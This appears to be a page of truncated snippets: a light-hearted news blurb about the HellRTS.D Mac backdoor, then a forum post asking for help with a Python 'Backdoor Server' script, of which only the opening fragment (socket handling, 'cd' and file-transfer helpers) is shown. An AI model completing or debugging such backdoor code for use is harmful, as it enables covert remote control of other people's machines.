News Story Help, My Mac Has a Virus! Huh?
[URL="http://www.intego.com"]Intego[/URL] [URL="http://www.intego.com/news/hellrts-backdoor-can-allow-malicious-remote-users-to-control-macs.asp"]announced[/URL] today that there is an actual virus threat to the invincible [URL="http://www.apple.com"]Mac[/URL]: HellRTS.D Backdoor. Yep, that's right, a Mac virus just waiting to take control of your iThis and iThat. It would have been funnier if the virus had a better name, but hey, virus writers aren't necessarily all that clever. But it's a real virus and a real threat so you'd better watch out Mac addicts lest some evildoer takes over your iThingy and surfs over to some naughty site while your girlfriend is updating her [URL="http://www.facebook.com"]Facebook[/URL] page. Of course, you can protect yourself with signature files …
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Everything works great. But sometimes I get an Error message saying something about ip/port bindings. I don't have the traceback but this could cause problems down the road. Any suggestions? [code] #Backdoor Server #Version 0.3.0 #Every now and the I get an Error dealing with the ip/port bindings # seems it doesn't like the same port used over and over again... # This could cause problems. #NOTE: can't change dirves ####### import socket, os import os.path def cd(st): try: st.index("cd ") return True except ValueError: return False def fil(cmnd): try: cmnd.index('=-=-') return True except ValueError: return False def give(file): file …
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